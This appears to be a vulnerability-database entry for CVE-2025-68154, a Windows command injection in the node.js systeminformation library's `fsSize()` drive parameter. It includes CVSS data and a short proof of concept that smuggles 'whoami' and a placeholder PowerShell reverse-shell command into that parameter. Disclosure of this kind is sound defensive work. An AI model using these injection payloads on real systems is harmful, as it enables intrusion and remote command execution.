Security Vulnerability Report
中文
CVE-2025-68154 CVSS 8.1 HIGH

CVE-2025-68154

Published: 2025-12-16 19:16:00
Last Modified: 2026-02-19 16:26:21

Description

systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
systeminformation < 5.27.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
const si = require('systeminformation'); // Malicious drive parameter that injects arbitrary command // This PoC demonstrates command injection via the drive parameter async function exploit() { try { // Attacker-controlled input containing command injection payload const maliciousDrive = 'C:; whoami > C:\\pwned.txt #'; // This will execute the injected command on Windows systems const result = await si.fsSize(maliciousDrive); console.log('Result:', result); } catch (e) { console.error('Error:', e.message); } } // Example with more dangerous payload async function exploitRCE() { try { // Reverse shell payload example const payload = 'C:; powershell -e "your encoded command here"'; const result = await si.fsSize(payload); } catch (e) { console.error(e); } } exploit();

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68154", "sourceIdentifier": "[email protected]", "published": "2025-12-16T19:16:00.257", "lastModified": "2026-02-19T16:26:21.377", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "systeminformation is a System and OS information library for node.js. In versions prior to 5.27.14, the `fsSize()` function in systeminformation is vulnerable to OS command injection on Windows systems. The optional `drive` parameter is directly concatenated into a PowerShell command without sanitization, allowing arbitrary command execution when user-controlled input reaches this function. The actual exploitability depends on how applications use this function. If an application does not pass user-controlled input to `fsSize()`, it is not vulnerable. Version 5.27.14 contains a patch."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:systeminformation:systeminformation:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "5.27.14", "matchCriteriaId": "4E586FA2-BB8A-49BC-AB57-A8D3F539FCC2"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://github.com/sebhildebrandt/systeminformation/commit/c52f9fd07fef42d2d8e8c66f75b42178da701c68", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/sebhildebrandt/systeminformation/security/advisories/GHSA-wphj-fx3q-84ch", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}